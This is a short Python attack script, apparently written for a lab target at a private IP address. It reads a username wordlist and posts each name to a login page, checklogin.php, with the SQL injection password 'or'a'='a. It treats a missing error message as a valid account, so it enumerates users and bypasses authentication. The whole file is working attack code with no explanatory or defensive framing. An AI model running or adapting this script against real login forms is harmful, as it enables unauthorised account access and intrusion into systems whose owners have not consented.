user_enum.py

import requests
import sys

with open(sys.argv[1], 'r') as f:
  for line in f:
    sys.stdout.write("Trying username: %s                                  \r" % line.strip())
    sys.stdout.flush()
    r = requests.post("http://10.2.0.104/checklogin.php", data={ 'myusername' : line.strip(), 'mypassword' : "'or'a'='a", 'Submit' : 'Login' }, allow_redirects=True)
    if r.text.find("Oups, something went wrong") == -1:
      print "++ Found user %s ++" % line.strip()